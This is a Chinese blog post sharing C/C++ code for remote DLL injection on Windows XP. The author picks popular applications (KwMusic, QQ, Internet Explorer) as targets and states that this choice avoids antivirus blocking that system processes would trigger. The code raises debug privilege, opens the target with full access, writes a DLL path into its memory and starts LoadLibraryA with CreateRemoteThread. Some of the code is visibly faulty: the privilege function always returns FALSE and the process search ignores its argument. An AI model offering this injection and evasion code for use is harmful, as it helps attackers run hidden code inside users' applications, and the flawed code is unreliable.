智能dll远程注入功能的实现(c/c++)

开发环境:WINDOWS XP +  VC++6.0


这段代码,主要就是实现了将dll注入到其他的进程中运行的功能。比如注入到桌面进程,注入到QQ,注入到酷我音乐等。


说是智能注入,就是加了一个判断功能,因为注入到系统的进程容易被杀毒软件阻止,但一些其他的软件,如酷我音乐

等的就容易一些了。所以,这段程序先判断是否运行有酷我音乐,如果运行了,就注入到酷我音乐软件里面,否则,就

依次设置的进程是否存在,存在就注入进去。
本文转载代码研究小组(C.S.T


运行流程:


1:提升进程权限;

2:查找指定进程是否存在;

3:将dll注入到进程中;


下面的,不是程序编译需要的所有代码。


首先在源码头部引用头文件。


#include <TLHELP32.H>


#define MAX_PATH 256

/////////////////////////////////////////////////////首部声明
char g_desprocess[]="KwMusic.exe";  //第一注入进程名称!
char g_desprocess1[]="QQ.exe";      //第二注入进程名称!
char g_desprocess2[]="IEXPLORE.EXE";//第三注入进程名称!


char g_szpath[]="C:\\DLLTEST.DLL";      //要注入到进程的dlll路径,这里是C:\\DLLTEST.DLL
DWORD g_dwprocessid=0;
HANDLE g_hprocess=NULL;
//////////////////////////////////////////////////////////


//提升进程权限函数

BOOL EnablePrivilege()
{
    HANDLE hToken=NULL;
    TOKEN_PRIVILEGES tkp = {0};
    if ( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken ) ) 
    {
        return FALSE;
    }
    if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid ) ) 
    {
        CloseHandle( hToken );
        return FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if ( !AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES), NULL, NULL ) ) 
    {
        CloseHandle( hToken );
    }
    return FALSE;
}



//查找指定进程函数
DWORD FindProcess(LPCSTR IpProcess)
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hsnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
::Process32First(hsnap,&pe32);
do
{
    if (strcmp(IpProcess,pe32.szExeFile)==0)
    
          return pe32.th32ProcessID;
    
    else if (strcmp(g_desprocess1,pe32.szExeFile)==0)
          
        return pe32.th32ProcessID;

    else
    {
      if (strcmp(g_desprocess2,pe32.szExeFile)==0)
          return pe32.th32ProcessID;
    }

    
}
while (::Process32Next(hsnap,&pe32));
return 0;
}
//////函数:获取,返回进程ID值[完]////






//主函数代码,也就是程序启动后自动执行的代码

EnablePrivilege();

g_dwprocessid=FindProcess(g_desprocess);

g_hprocess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,g_dwprocessid);
LPVOID IpAddr=::VirtualAllocEx(g_hprocess,NULL,sizeof(g_szpath)+sizeof(char),MEM_COMMIT,PAGE_READWRITE);
DWORD dwwrite=0;
::WriteProcessMemory(g_hprocess,IpAddr,(LPVOID)g_szpath,sizeof(g_szpath)+sizeof(char),&dwwrite);
DWORD dwthreadid=0;
HANDLE hthread=::CreateRemoteThread(g_hprocess,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibraryA,IpAddr,0,&dwthreadid);
::WaitForSingleObject(hthread,-1);
::VirtualFreeEx(g_hprocess,IpAddr,sizeof(g_szpath)+sizeof(char),MEM_DECOMMIT);
::CloseHandle(hthread);


2014-10-05 1
评论
热度(1)